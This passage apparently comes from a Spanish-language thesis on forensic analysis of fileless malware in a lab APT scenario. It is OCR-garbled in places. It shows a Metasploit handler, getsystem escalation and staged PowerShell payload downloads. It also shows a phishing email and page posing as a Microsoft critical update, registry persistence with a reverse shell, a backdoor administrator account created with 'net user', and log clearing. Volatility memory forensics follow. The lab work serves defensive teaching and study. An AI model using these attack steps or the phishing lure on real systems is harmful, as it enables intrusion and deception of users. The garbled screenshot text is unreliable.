Recepcion (handler) en Metasploit Framework

Metasploit Documentation: https://docs.metasploit.com/

ploit/multi/handler

set LPORT 444

set ExitOn

30.30.30.2:51540) at 2025

3.6.3. Evidencia Post-Compromiso
Una vez iniciado el listener se inicia una sesion después de la conexion generada por
la maquina Windows. Al establecer la sesion Meterpreter se procede a analizar la capacidad
de escalamiento de privilegios disponibles dentro del framework, para ello se hace uso de la
técnica getsystem, cuya funcion es obtener privilegios en un sistema comprometido mediante
distintos métodos.

Figura 56

Comandos de identificacion y validacion de procesos

ue 1 (Named Pipe Impersonation (In Memo

Posteriormente se utiliza comandos de identificacion y verificacion del proceso activo

y se confirma que la sesion opera bajo el maximo nivel de privilegios, en la Figura 56 se
observa la ejecucion de comandos tomado del , de igual forma en la Figura 57 se observan
los Logs de descarga, es decir que el archivo se ejecutd correctamente en la maquina victima,

los comandos ejecutados se observan en el Apéndice ES8.
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Figura 57

Logs de Pache Post-Escalacion

kali@kali: fvar/www/html/payloads ¥ kali@kali: /var/www/html/payloads kali@Kkali: /var/www/html/payloads

/var/wwi/html/payloads
10 /var/log/apache2/access.log
2/Nov/2025:08:16:20 -0500] "GET /payloads/stage3.psl HTTP/1.1" 200 3447 "-" "-"
2/Nov/2025:08:21:42 -0500] "GET /payloads/stage3.psl HTTP/1.1" 200 3503 "-" "-"
2/Nov/202 123 -0500] "GET /payloads/stage3.psl HTTP/1.1" 200 3447 "-" "-"
2/Nov/2 101 -0500] "GET /payloads/stage3_new.psl HTTP/1.1" 200 3520 "-" "-"
2/Nov/2 :26:57 -0500] "GET /payloads/stage3_new.psl HTTP/1.1" 200 3520 "-" "-"
2/Nov/2 8:30:42 -0500] "GET /payloads/stage3_new.psl HTTP/1.1" 200 3520 "-" "-"
2/Nov/2 8: -0500] "GET /payloads/stage3_new.psl HTTP/1.1" 200 3520 "-" "-"
2/Nov/2 1:41:35 -0500] "GET /payloads/stage3.psl HTTP/1.1" 200 3516 "-" "-"
2/Nov/2 1: -0500] "GET /payloads/stage3_working.psl HTTP/1.1" 404 434 "-" *-*
2/Nov/2025:11:43:21 -0500] "GET /payloads/stage3.psl HTTP/1.1" 200 3460 "-" "-"

2
2
P
2
2
P
2
2
2
2

[
[
[
[
[
[
[
[
[
[

NRNNRNNNRNNRNN A

/var/wwi/html/payloads

3.6.4. Volcado de memoria RAM post-compromiso

Figura 58

Volcado de memoria RAM POST elevacion de privilegios

Memory Progress
Destination: C:\Users\kevin\Downloads\memoria_post_escalacon.mem
Status: Memory capture finished successfully

| cose |

W seguridad de Windo
Seguridad de Windows

Revisar los archivos ot

11:49
22/11/2025

= Q) @

Al verificar que el ataque es exitoso se realiza el volcado de memoria, para ello se
utiliza nuevamente FTK Imager para generar un nuevo volcado de memoria RAM el archivo

tiene el nombre memoria_post_escalacion.mem, el proceso se observa en la Figura 58.
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3.7. Persistencia
3.7.1.  Configuracion del servidor de correo

De la misma forma que el ataque anterior, se crea una pagina web que servira como
medio de distribucion para la descarga de un ejecutable, el mismo que permitird vulnerar la
maquina objetivo y extraer informacion.

Para el proceso se configura un servidor de correo local para alojar el payload
malicioso el cual emite comunicaciones oficiales de Microsoft con el fin de inducir a la
victima a creer que se trata de un mensaje legitimo relacionado con actualizaciones criticas
del sistema a partir de la distribucion controlada del malware, en este caso dirigido por correo
electronico de phishing, en la Figura 59 se verifica el despliegue del servidor y el codigo
utilizado se observa en el Apéndice E9.

Figura 59

Configuracion del servidor de correo local

kali@kali: ~fcorreo
File Actions Edit View Help

~/correo

~/correo

~/correo

~/correo
index.js

kali ~/correo

3.7.2.  Proceso de la méquina objetivo.
En la Figura 60 se observa el momento en el que la victima recibe en su bandeja de

entrada el correo electronico malicioso con todo lo necesario para inducir a la victima y
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hacerlo interactuar con un boton que lo lleve a la pagina web del supuesto Microsoft. El
enlace de actualizacion muestra la interfaz Web que se observa en la Figura 61.

Figura 60

Correo de actualizacion

Continue No thanks

e Get additional protection against phishing
Turn on Enhancet sk dit

& Primary > Promotions 2, Social
Microsoft Security . ACTUALIZACION DE SEGURIDAD CRITICA - Accidn requerida dentro de 24 horas - Microsoft | Security Canter Cc qurid 11:13PM

Figura 61
Interfaz del correo malicioso

ID de Actualizackin
KB5007651

Severidad:
CRITICA

Fecha de Publicacién:
3 de Diciembre, 2024

Version de Windows:
11 (fodas las ediciones)

Vulnerabilidades Corregidas:
» CVE-2024-38112 - Elevacion de privilegios en Windows Kernel
= CVE-2024-38077 - Ejecucién remaota de codigo en SMB

= CVE-2024-38080 - Bypass de seguridad en Windows Defender
= CVE-2024-38084 - Divulgacin de informacidn en sistema de archivas

Para mantener la seguridad de su sistema, por favor proceda con la instalacion inmediata:
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Figura 62

Pagina web con el payload malicioso

A ATENCION REQUERIDA: Esta actualizacién aborda vulnerabilidades explotadas
activamente.

Descripcion de la actualizacion

Esta actualizacion de seguridad resuelve vulnerabilidades en:

* Windows Kernel

* Microsoft Defender
* Protocolos de Red

» Sistema de Archivos

Instrucciones de instalacion

1. Haga clic en el botén de descarga a continuacion
2. Guarde el archivo en su equipo

3. Ejecute el instalador como administrador

4. Siga las instrucciones en pantalla

5. Reinicie su equipo cuando se le solicite

} Descargar Actualizacién KB5007651

Después de dar click al link del correo, redirige al usuario a una nueva ventana que
proyecta la pagina web maliciosa. Su objetivo es que sea como una guia de pasos para la

instalacion de un software que reparara la brecha de seguridad existente.

48
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Figura 63

Payload malicioso

Editar en el Bloc de notas

OneDrive

i1 Mostrar Mas opciones

Después de que el usuario siga los pasos presentados en la pagina web, el atacante ya
tendra acceso al PC de la victima.
3.7.3. Conexioén Remota con la Maquina Objetivo

Figura 64

Conexion remota desde la maquina del atacante

En la Figura 64 se observa la interfaz desde la maquina del atacante, en donde se

puede ver el éxito que tuvo el ataque abriendo sesiones interactivas de meterpreter en el
sistema victima e iniciando con los primeros comandos de reconocimiento con el fin de
revelar informacidn critica del sistema comprometido. En la Figura 64 y Figura 65 se
observa que el atacante obtiene informacion, se revisa la topologia de la red para poder

entenderla.
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Figura 65

Topologia de la red de la maquina victima

entilkiwi.com )

il.com )
om  Akx/

fe

ffoo
meterpreter >

3.7.4. Proceso de persistencia

Figura 66

Persistencia por Registro

kali@kali: ~

File Actions Edit View Help

Después de la sesion inicial para mantener el acceso al sistema comprometido después
de cada reinicio se implement6 un mecanismo de persistencia mediante Metaexploit
Framework, con el cddigo que se muestra en el Apéndice E10, en primera instancia se
configura un modulo que permite generar un mecanismo de persistencia, en este caso a través

de la Sesion comprometida, se define que se ejecute a nivel de sistema garantizando que el
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payload se active desde el arranque del equipo, se asignd un nombre que parece legitimo
(legit.exe) para evitar deteccion temprana. El payload utilizado fue
(windows/meterpreter/reverse tcp) configurado para la conexion reversa hacia el atacante,
estableciendo un intervalo de 30 segundos para asegurar varios intentos periodicos para que
se restablezca la sesion. La ejecucion del codigo se observa en la Figura 66.

Figura 67
Creacion de Cuenta administrador

C:\Users\pc_ka\Downloads>net user test passwordl23 /add
net user test passwordl23 /add
Se ha completado el comando correctamente.

C:\Users\pc_ka\Downloads>net localgroup administrators test /add
net localgroup administrators test /add
Error de sistema 1376.

El grupo local especificado no existe.
C:\Users\pc_ka\Downloads>net localgroup administradores test /add

net localgroup administradores test /add
Se ha completado el comando correctamente.

C:\Users\pc_ka\Downloads>net localgroup
net localgroup

Alias para \\OBJETIVO

*Administradores

*Administradores de Hyper-V
*Duplicadores

*ITIS_TUSRS

*Invitados

*Lectores del registro de eventos
*0Operadores criptogreficos

*0Operadores de asistencia de control de
*0Operadores de configuracien de red
*0Operadores de copia de seguridad
*0Operadores de hardware en modo usuario
*Propietarios del dispositivo

*System Managed Accounts Group
*Usuarios

Q<

Después de obtener el mecanismo de persistencia automatizada se crea un usuario
local con privilegios administrativos, esta practica es comun en escenarios APT debido a que
cuentas legitimas permiten operar a través de servicios legitimos del sistema, en el Apéndice

E11 se observa el comando utilizado que se observa en la Figura 67
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Figura 68

Modificacion de marcas de tiempo

00:00:00 -0500

Como ultimo paso se emplearon técnicas anti-forenses que puede suceder en un
entorno real, se utiliza el comando clearev, este comando permite o intenta eliminar los
registros de eventos del sistema y posteriormente se modifica las marcas de tiempo del
payload que inicio el ataque, el proceso se observa en la Figura 68.

3.7.5. Técnicas aplicadas en los escenarios propuestos

Tabla 2

Resumen de técnicas MITRE ATT&CK aplicadas en los escenarios

Escenario Descripcion Técnica MITRE ATT&CK
PowerShell Dowload Creadle T1059.001 (PowerShell)

1 T1105 (Ingress Tool Transfer)
Elevacion de privilegios T1068 (Privilege Escalation)

2 utilizando getsystem T1055 (Process Injection)
Reverse shell y persistencia tras T1204 (User Execution)
reinicios T1071.001 (C2 via Web Protocols)

T1543 / T1547 (Persistencia)

Cuenta administrativa T1136 (Create Account)

Elimincacion de logs y T1070.001 (Clear Logs)

modificacion de marcas de tiempo  T1070.006 (Timestomp)

En la Tabla 2 se observa cada una de las técnicas aplicadas en los escenarios APT
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realizados,
3.7.6. Volcado de memoria RAM y disco post-compromiso

Al finalizar el ataque se realiza el volcado de memoria RAM y DISCO, para el
volcado de memoria como en los escenarios anteriores se hace uso de FTK Imager, y para el
Disco Duro se utiliza una copia del disco que se encuentra alojado en la carpeta en donde se
guarda la maquina virtual, cabe recalcar que en entornos reales también es valido utilizar otras
herramientas forenses como CAINE respetando el procedimiento de proteccion contra
escritura.

Figura 69

Volcado de memoria RAM Post-Persistencia

& Descargas < +

fle Yiew Mode Help
Q6% (=] -0 SR 1k 2
Evidence Tree File List

Name Sze Type Date Modified

Memory Progress

o=

C:\Users'pc b ¥ persstence mem

Status: Dumping RAM: 1G8/5G8 [35%]

Custom Content Sources

Evidence:Fle System Path Fle Options

New

Custom Conte...

For User Guide, press F1
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CAPITULO 4:

ANALISIS DE RESULTADOS
4.1. Analisis del compromiso inicial
4.1.1. Metodologia
Se inicia verificando los procesos que estuvieron activos en memoria mediante
windows.psstree y windows.psscan de Volatility Framework, se hace uso del
comando descrito en el Apéndice 12 y Apéndice 13

Figura 70

Lista de procesos pscaan

FFE oo

NI L wAr TALITLIIUSITOU AU = w FEAME  SUEITAATUN L. £ UDUTOU WL MM MARSUAEY

3388 52 explorer.exe Bxd38c33df 2@25-11-84 22:47 UTC N/A 1
919 895 T tyfealth BxdiBcisd ad 3 05 4 ) A Wisabled
3 2 Meerinit exe Sxdi@ciiediech @ Ealse g25. g adl g gg g25.11.84 A2, 42, 080008 Ul Risabled
| 1584 4968 powershell exe @8xd38c33e66888 © False 2025-11-84 23:58:59.00000@ UTC 2025-11-84 23:52:43.000000 UTC Disabled 3
. Fal5e o LA L 4
11472 556 BuntimeBroker. @xd3@c3le&fEsn False 2025-11-84 23:23:0B8.00000@ UTC N/A Disabled
3536 88 svchost. exe Bxdibcdleccedy False  2625-11-84 J2:4/:24. 000008 UIL N/A Disabled
3668 888 svchost.exe Bxd38c33FEGEDR False 2025-11-84 22:47:24.00000@ UTC NfA D.lsﬂ.hlﬁdl
False 2025-11-84 22:47:24.00000@ UTC N/A Dizabled

False 2025-11-84 22:47:25.000008 UTC N/A Disabled
False 2025-11-84 22:47:38.080008 UTC N/A Disabled

6112 556 SearchHost.exe @xd39c34165€80
8728 838 svchost.exe Bxd38c34166E88

6
£
9
5688 4256 CrossDeviceRes @xd3@c33fosess 5
1
1
3552 888 @xd38c3427cEdn 3

mbhrorrrsr el delk

Al verificar el Fichero se observan dos instancias PowerShell con las siguientes
caracteristicas.
4.1.2. Deteccion de Procesos Maliciosos psscan/pstree

Tabla 3

Instancias POWERSHELL y caracteristicas

PID Estado Tiempo de Tiempo de PPID

Creacion Término

4968 Activo 2025-11-04 N/A 5308
23:49:27
1584 Terminado 2025-11-04 2025-1-04 4968

23:50:59 23:52:43
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4.1.3. Analisis Temporal
De acuerdo a la Tabla 3 y la Figura 70 se obtiene los siguiente:
- Inicio del ataque: 23:49:27 (PowerShell padre - PID 4968)
- Ejecucion del payload: 23:50:59 (PowerShell hijo - PID 1584)
- Finalizacion: 23:52:43 (Duracion total: ~ 3 minutos)
- Ventana de compromiso: 23:49:27 - 23:52:43
4.1.4. Indicador de compromiso
- explorer.exe (5308) — powershell.exe (4968) — powershell.exe (1584)

Figura 71

Lista de procesos pstree

L canm Co EXE €t \WINDOWS

Windows cexe AP AWINDOWS \systendd

Tabla 4

Relacion jerdrquica del compromiso inicial

Timestamp Evento PID  Duracion Descripcion  10C

23:49:27 Inicio PowerShell ~ 4968 Se ejecuta Legitimo
PowerShell

23:49:28 Inicio conhost.exe 8276 1 seg HostConsola Normal

23:50:59 Inicio PowerShell 1584 1min32seg Payloaden  Evidencia
memoria Critica
23:52:43 Fin PowerShell 1584 1 min44 seg Finalizacion Técnica

del payload  Evasiva

Con los resultados se encuentra la relacion jerarquica completa del compromiso inicial

que se observa en la Tabla 4.
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4.1.5. Anélisis de comandos ejecutados
En este analisis el objetivo es identificar los comandos exactos ejecutados en los
procesos PowrShell con el fin de obtener evidencia del ataque fileles, el comando
ejecutado se observa en el Apéndice 14.

Figura 72

Comandos ejecutados en PowerShell

3748 SystemSettings "C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immer
7444 ShellHost.exe "C:\Windows\System32\ShellHost.exe"

8044 svchost.exe C:\WINDOWS\system32\svchost.exe -k wsappx -p -s AppXSvc

2320 LogonUI.exe =

12252 svchost.exe C:\WINDOWS\system32\svchost.exe -k GPSvcGroup

5352 svchost.exe C:\HINDO&-JS\SystemBZ\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts

11600 dllhost.exe "C:\WINDOWSsystem32\D1llHost.exe" /Pr :{5250E46F -BB@9-D602-5891-F476DCB9B700}
12616  dllhost.exe "C:\WINDOWS\system32\D11Host.exe" /Processid:{CA6CCIF1-867A-481E-951E-A28C5E4FO1EA}

6188 smartscr‘een___ex C: \l-':l.ndows\Systemaz\smartscreen exe -

pomrsholl exe "C: \H;ndws\Systwsz\umwm;\vl a\pouorsholl exe"

s OSL.EXE LEEALHAL S
18256  FTK Imager.exe "C:\Program F1195\A.§._c_.e.§.§.l;!.a_t.a\FTK Imager\FTK Imager.exe"
6280 MpCmdRun.exe "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25898.38089-8\MpCmdRun.exe" Sampl

RestrictPrivileges -AccessKey 9E4821E4-AD41-6CF8-48EF-ACD7814A9005 -Rei

Tabla 5

Hallazgos de comandos

PID Proceso Argumentos Estado

4968 powershel.e "C:\Windows\System32\WindowsPo Sin argumentos
xe werShell\v1.0\powershell.exe""

1584 powershel.e  Sin resultados Proceso
xe terminado

Para el andlisis respectivo se busca los procesos principales encontrados en la relacion
jerarquica presentada en la seccion anterior. En este caso el proceso PID 4968 solo muestra la
ruta del ejecutable sin argumentos visibles, el PID 1584 no est4 presente en la salida
windows.cmdline, la falta de argumentos en los procesos PowerShell da indicios a la
utilizacion de técnicas ofuscadas avanzadas, los resultados se pueden observar en la Figura

71y Tabla 5.
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4.1.6. Deteccion de inyeccion de codigo en proceso PowerShell
En la Figura 73 se observa la inyeccion de codigo en un proceso PowerShell, PID

(4968)

Figura 73

Inyeccion de Codigo en memoria

11472 RuntimeBroker. exldfSb7deees ex1dfSb7dFfff Vad PAGE_EXECUTE_READWRITE @ ] Disabled N/A
e oo o0 o0 60 00 08 B8 fe ff ff ff 7 2F
@0 00 90 00 0O 00 00 PO PO 00 08 Le 08 o
@9 09 20 00 00 00 00 00 00 00 00 00 o0 e
€0 99 99 9P 09 00 PO PO OV B0 90 09 98 P8

99 09 2P B0 @@ 00 o0 @8 fe ff ff ff f7 2f 00 00 @0 @0 02 @
e 08 o0 oo oo oo e

4968 powershell .exe ©x2lfelbfoooa 0x21felc@9fff VadS PAGE_EXECUTE_READWRITE 1 1 Disabled N/A

OO O O O U0 U0 OO U0 JR CX B AT U2 U0 U o R

90 78 c4 el 1f 92 00 00 00 00 c4 el 1f 02 80 00 .X.....assassa-

42 @a bf el 1f @2 @@ @9 @@ 1@ bf el 1f 02 €@ @8 @ .

€0 a@ c@ el 1f 02 GO OO 91 OO 00 90 80 ©0 @@ @@ ., ., ... ssaasana- 90 PO 6P 90 @0 0@ P9 O9 9@ 78 c4 el 1f ©2 OO 0@ 9@ 78 c4 e

@ 22 ee ee o ee ee
2 1 Disabled N/A

powarshell.exe ©x7dfdeb890008 ox7dfiebs2ffff Vads PAGE_EXECUTE_READWRITE
e T 7T 1T ©OF B0 080 OO B0 00 80 80 .. ....coceeoon

€1 60 90 OO 00 00 G0 GO ©8 82 0o 03 38 08 @8 08 L., ......... TR

E8 @1 @4 @8 Oc 08 80 ee be eb 14 55 ff 7f @@ ee h B

@2 18 ef 55 ff 7f @@ @@ €8 53 26 55 ff 7f @@ @@ ,, . U..... S&U. ... da ff ff ff ff £ff ff ff 08 o0 00 00 00 ©0 00 00 91 €@ 00 @

£ 0P £0 0O EE 9] ©4 92 BC 00 00 98 Lo ob 14 ¢ 20 90 po 10 o @0 _po @3 =3 26 55 ff 7f @@ ea

4968 powershell.exe ©Ox7df4ebBB0000 Ox7df4ebBB8Fffff Vads PAGE_EXECUTE_READWRITE [ 1 Dizabled N/A
Bc 90 90 90 49 c7 c2 00 90 00 20 48 b8 10 ec 55 L .. .T...... H...

86 ff 7f 00 00 ff ed® 49 c7 c2 @1 0@ @2 00 48 b8

1@ &c 55 86 ff 7f 0@ @@ ff e@ 49 c7 c2 @02 @@ @0 ..U.......I..... 20 00 00 00 00 00 00 90 78 6d 00 00 00 00 00 00 Oc 6@ 00 a8
BB 1@ ec 55 86 ff 7f 00 00 ff e@ 49 c7 c2 @1 20 @2 9@ 48 b8 10 ec 55 B6 ff 7f @02 00 ff e@ 49 c7 c2 02 00 @0

4968

Tabla 6

Regiones comprometidas

Direccién en Tamafio Permisos Estado

Memoria

0x21fe1bf0000 64KB PAGE EXECUTE READWRITE Inyectado
0x7df4eb890000 256KB PAGE EXECUTE READWRITE Inyectado

0x7df4eb880000 64KB PAGE EXECUTE READWRITE Inyectado

De la Figura 73 se obtiene la Tabla 6 y se observa que el proceso 4968 ocupa 3
regiones de memoria. Con la direccion de memoria de inicio y fin se puede calcular el tamafo
del codigo inyectado, adicional las 3 regiones de memoria mantienen el permiso de ejecucion
y escritura, se identifica contenido de codigo assembler no legitimo para PowerShell.

Con los analisis realizados se puede correlacionar técnicas MITRE ATT&CK como
T1027 (Obfuscated Files or Information), T1055 (Process Injection) y -T1059.003

(PowerShell - Living Off The Land Binaries).
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4.2. Anélisis Forense de elevacion de privilegios
4.2.1. Metodologia
Para esta seccion se aplico la misma metodologia del andlisis inicial, se verifica la lista
de procesos haciendo uso de los pluggins windows.psstree y windows.psscan de Volatility
Framework con el fin de identificar y recopilar informacion de los procesos sospechosos.

Figura 74

Lista de procesos psscan Post-Escalacion

W o seen nom sumacanm v =& =
ot i » v -
Valatility 3 Framework 2.27.9
PID PPID ImagelileNams of fset (V) Threads Handles Seasionld WowGa CreateTims ExitTime File cutput
2052 a6a Axd3INI2AT7IAERO 7 a False 2825-11-22 16:10:04.008000 UTC N/A
a7as a6a ©xd30923731880 & a False 2825-11-22 16:10:08.086000 UTC HN/A
2944 a6a Oxd30923733080 6 - a False 2825-11-22 16:10:04.008000 UTC N/A
2960 a6e Bxd36923737680 12 - a False 2825-11-22 16:10:04.000000 UTC N/A
124 a BxI00237ARERG 4 - N/A Falue 2828-11-22 16:09:55. 0640006 UTC N/A
2776 RE@ PxcI30W2ITRACRG & @ Falus 2825-11-22 16:10:03.0608000 UTC N/A
2732 86@ sy e Pxd309237bessa 14 a False 2825-11-22 16:10:03. 688000 UTC HN/A
a7as a9z Onebrive e Bxd3e9237c2088 35 1 False 2825-.11-22 16:41:12.008000 UTC HN/A
2668 sea svchost . exe BxCIBE2F7CHSED 5 @ False 2825-11-22 16:10:03.000000 UTC N/A Dixabled
2488 BeD svehast . axa exd300237d0080 S @ Falge 2825-11-22 16:10:03.000000 UTC N/A Digabled
sace 860 suehost . axa ©xd30923Fb3080 30 ® Falge 2225-11-22 16:40:35 008008 UTC HN/A Digabled
aass 1012 RuntimeBroker. ©xd30924874088 4 1 False 2825-11-22 16:41:54. 088008 UTC HN/A Digabled
8740 o EuntimeBrok ©xd3es2415d080 5 1 False 225-13- 645 2 B D blad
wershell .exe ©Oxd39324203680 15 1 False @ UTC 4
ES08 i Bxd300 24385080 21 T False ) : OLsabled
ases 528 muedge . exe ©xd30924388080 21 1 False 2825-11-22 16:41:38.008000 UTC N/A Digabled
7324 1012 Widgets . exe ©xd309243c8880 11 1 False 2825-11-22 16:48:45.008000 UTC HN/A Digabled
1668 1012 backgroundTask ©xd3@5243cces8e © 1 False 2825-11-22 16:43:27.008000 UTC 2825-11-22 16:44:28.800008 UTC
Uisabled
19868 5152 moedgewebview2 OxdIO9ZAGcdOBO 52 1 False  2825-11-22 16:41:54.00€000 UTC N/A Dizabled
vEE EELY meedge . exe OxdIVW2AT7E6RcO 12 1 False 22825-11-22 16:41:38.000000 UTC RN/A Disabled
7176 528 maedge . axe ©xd30924759880 19 3 False  2825-11-22 16:41:38.008@000 UTC N/A Disabled
11780 11616 moedgewebview? ©Oxd30924Bbazse 49 g False 15 2:04.008000 UTC N/A Dizabled
s34y 10868  mocdgewcbviewl OxJ30YZALIOEHE 2@ 1 Falze 4.000000 UTC N/A Dizabled
11812 11786 mocdgewebview? Oxdi@e24933880 1@ 1 False .UEEBE UTC  N/A Dizabled
12040 11786 moadgewebviewd Oxdievapideése 2@ 1 Falce . BBReBE UTC N/A Pisabled
12828 11780 macdge~ebview? Oxd30024040880 22 1 False .BBEBBE UTC N/A Disabled
5152 a9z ma - teams.exe ©@xd309245ab880 36 1 False .@0@esa UTC N/A Disabled

Se verifica un proceso Power Shell (PID 4124) y un proceso de jerarquia con el plugin
pstree, Al verificar los dos ficheros se determina un patrén de ejecucion manual o scripting, al
construir el arbol de procesos se identifica el proceso PID 992 explore.exe, el mismo que
desencadena subprocesos, en este caso powershell.exe (PID 4124), esto significa que se
ejecuto directamente desde el entorno grafico del usuario, al basarse en un entorno APT es un
indicativo de una ejecucion remota, seguido de ello se encuentra el proceso PID 11468 con
una ventana de tiempo en ejecucion de 2 segundos, en la Tabla 7 se puede observar la
jerarquia de proceso tomadas de las Figuras Figura 74 yFigura 75, los comandos utilizados

se ven en el Apéndice IS y Apéndice I6.
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Figura 75

Estructura de procesos pstree Post-Escalacion
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+ 1178@ 11616 msedgewebview2 axd309248ba28e 49 1 False 2825-11-22 16:42:24.0832808 UTC N/A ‘\Device\HarddiskVolume3
\Program Files (x86)\Microsoft \Edgewebviw\ﬁppl‘ication\142 9.3595, 94 \msedgewebview?. exe “C:\Program Files (x86)\Microsoft\EdgeWebViaw\Application
\142 a. 3595 Sﬂ\msedgewebuieuz exe" --embedded-browser-webview=1 --webview-exe-name=M365Copilot.exe
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Tabla 7

Jerarquia de procesos post-compromiso

PID PPID Nombre del Hora Estado

proceso

992 5644 explorer.exe 16:40:34 Activo
4124 992 powershell.exe 16:41:18 Activo
5256 4124 conhost.exe 16:41:18 Activo

11468 992 cmd.exe 16:42:06 Terminado

4.2.2. Andlisis de comandos ejecutados
El proceso PowerSehll no tiene argumentos esto sugiere que se implemento la técnica
T1059.001 documentada en MITRE ATT&CK lo que implica una ejecucion interactiva sin
dejar rastro en la linea de comandos, el resultado se observa en la Figura 76 y e comando

utilizado se encuentra en el Apéndice 16
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Figura 76

Linea de comandos Post-Escalacion
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4.2.3. Privilegios
Posterior a los andlisis realizados se ejecuta el plugin windows.privileges.Privs de
Volatility 3 Framework, para el proceso sospechoso que fue determinado en los analisis
anteriores.

Figura 77
Resultados de Escalacion de Privilegios
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Los resultados revelan que el proceso PowerShell (PID 4124) posee 36 privilegios de
sistema, en este caso se verifican que 23 estdn marcados como “Present, Enabled”, incluyendo

privilegios que normalmente estan restringidos a cuentas de administrador y sistema, en la
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Tabla 8

Tabla 8

Distribucion por categoria

Categoria Total Ejemplos Clave Indicador de

Privilegios Criticos 6 SeDebugPrivilege, Sistema/SYSTEM
SeTcbPrivilege

Privilegios 17 SeShutdownPrivilege, Administrador Local

Administrativos SeSystemtimePrivilege

Privilegios de Usuario 13 SeChangeNotifyPrivilege, = Usuario Normal
SeTimeZonePrivilege

Total Privilegios 36 Set completo del

sistema

El proceso PowerShell tiene todos los privilegios disponibles en Windows,
incluyendo los 6 mas peligrosos que solo se otorgan a cuentas de sistema, confirmando
escalada exitosa a privilegios maximos.

4.2.4. Resultados Post-Escalacion

De acuerdo con el andlisis realizado se confirma que hubo escalacion de privilegios.

e PowerShell es ejecutado desde explore.exe en lugar de canales legitimos.

e Historial de consola vacio y ausencia de argumentos

e 36 privilegios, en donde se uncluyen 6 axclusivos de cuentas SYSTEM

cmd.exe ejecutado 48 segundos después con vida de 2 segundos
e cmd.exe fue ejecutado 48 segundos después en una ventana de trabajo de 2

segundos.
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4.3. Analisis forense del proceso de persistencia en memoria RAM
Como punto de partida del analisis forense se ejecuto el plugin windows.info como se
observa en la Figura 78, los datos obtenidos identifican pardmetros como la version del
sistema, arquitectura, ruta del directorio raiz, etc. Esta informacion es clave para establecer
una linea de tiempo de los eventos.

Figura 78

Pluggins windows.info de Volatility

atility3> python vol.py

Figura 79

Lista de procesos pslist Post-Persistencia

Enla Figura 79 se observa el proceso windowsupdate. (PID 2600) el nombre imita

al proceso legitimo relacionado con las actualizaciones del sistema. El proceso presenta
caracteristicas sospechosas como:

e Nombre incompleto

e No tiene extension exe.

e No corresponde a un ejecutable legitimo de windows

Este tipo de caracteristicas son comunes cuando un atacante servicios maliciosos, con
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el plugin windows.cmdline se revel6 que el proceso con PID 2600 fue iniciado desde la ruta
C:\Windows\System32 el mismo que parece confiable para el sistema operativo, es decir que

logra disminuir sospecha durante auditorias superficiales.

Figura 80

Lista de procesos psscab Post-Persistencia

istence.mem windows.psscan

Otro Proceso es el PID 8568 por ocultamiento activo y un PPID anémalo que sugiere
inyeccion en servicios seguidos de cmd.exe y conhost.exe (PIDs 9796/9804),
correspondientes a una sesion de consola ejecutada y terminada rapidamente tras el inicio y
finalmente WindowsTerminal.exe (PID 9868) que usa una terminal avanzada que fue
finalizada al instante, posiblemente como parte de actividades de post-explotacion, en la

Tabla 9

Evidencia de procesos maliciosos post-persistencia

PID PROCESO EVIDENCIA

2600 windowsupdate. Nombre:windowsupdate. | Session 0 |
8568 rundll32.exe Proceso oculto (solo en psscan)

9796 cmd.exe Consola ejecutada post-login

9868 WindowsTerminal.exe Terminal avanzada ejecutada

Como mecanismo forense se automatiza los procesos de busqueda con volatility,

previo a detectar los procesos maliciosos, se realiza el andlisis respectivo de cada proceso, los
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pluggins ejecutados son los siguientes:
e windows.pslist - Informacion basica
e windows.psscan - Procesos ocultos
e windows.cmdline - Linea de comando
e windows.envars - Variables de entorno
e windows.dlllist - DLLs cargadas
e windows.handles - Handles abiertos
e windows.privileges - Privilegios

4.3.1. Analsis del proceso PID 2600

Figura 81

Analsis del proceso PID 2600

e.men

Disabled

Disabled

ndowsupdate . exe"

PID Process B

Previo analisis realizado del proceso PID se concluye presenta multiples indicadores
de compromiso que confirman su naturaleza maliciosa. En primer lugar, su nombre anomalo

sin la extension .exe constituye una técnica clasica de Process Masquerading (T1036.005
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MITRE), donde el malware se hace pasar por el proceso legitimo windowsupdate.exe de
Windows Update para evadir detecciones tempranas

Ademas, reveld un mecanismo de persistencia activo mediante la modificacion del
registro Windows. Se encontr6 una entrada que apunta a C:\Windows\Temp\legit.exe,
demostrando que el malware se configura para ejecutarse automaticamente en cada inicio del
sistema.

4.3.2. Analsis del proceso PID 8568

Figura 82

Andalsis del proceso PID 2600

X winduws Powershell = X W windows PowerShell

El parametro ShellRefresh en AppXDeploymentExtensions.OneCore.dll no es un
uso tipico documentado por Microsoft se encuentran privilegios asignados
inapropiadamente
e SeCreateTokenPrivilege - Crear tokens (usualmente solo para SYSTEM)
e SeTcbPrivilege - Actuar como parte del sistema operativo (privilegio

maximo)
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e SeLockMemoryPrivilege - Bloquear paginas en memoria
e SeAssignPrimaryTokenPrivilege - Reemplazar tokens de proceso

4.3.3. Analsis del proceso PID 9796

Figura 83

Andalsis del proceso PID 9796

mem

En la Figura 83 se muestra el andlisis ejecutado, el resultado revela multiples
indicadores de gravedad que apuntan a actividad maliciosa avanzada, se detecta un proceso
oculto mediante la técnica de inyeccion (T1055). Ademas, los registros temporales muestran
una ejecucion anomalamente breve de apenas ocho segundos desde las 19:53:40 hasta las
19:53:45, caracteristica tipica de la ejecucion de payloads maliciosos. Asimismo, la presencia
de solo dos handles, en contraste con los multiples recursos que normalmente utilizaria un
proceso cmd.exe legitimo, indica un comportamiento residual o "fantasma" producto de
inyeccion de codigo.

4.3.4. Andlsis del proceso PID 9868
El andlisis forense revela un patrén idéntico al anterior, caracterizado por

un mecanismo de ocultamiento consistente donde ambos estan ausentes en la lista de procesos



Anadlisis forense de malware fileless en un ataque APT 67

activos (pslist) pero visibles en el escaneo profundo (psscan), ademds comparten la misma
ventana temporal de ejecucion, con idénticos horarios de inicio (19:53:40) y terminacion
(19:53:48), lo que evidencia una coordinacidn sincronizada tipica de scripts automatizados o
payloads. Este conjunto uniforme de técnicas anti-forenses sugiere un origen comin y un
modus operandi estandarizado el resultado se observa en la Figura 84.

Figura 84

Andalisis del proceso PID 9868

¥ W Windaws PoweShell X W windows Powershell ¥ windows Powershell

4.4. Andlisis forense del proceso de persistencia en DISCO
La Figura 85 muestra la carpeta de Descargas del usuario victima, en esa carpeta se
puede observar el archivo critical update.exe en la carpeta de Descargas, con fecha de
modificacion del 02-Dic-2025, dia en que inicio la vulneracion del sistema. Este es muy
probablemente el vector de infeccion inicial. Su nombre engafioso, imitando una actualizacion
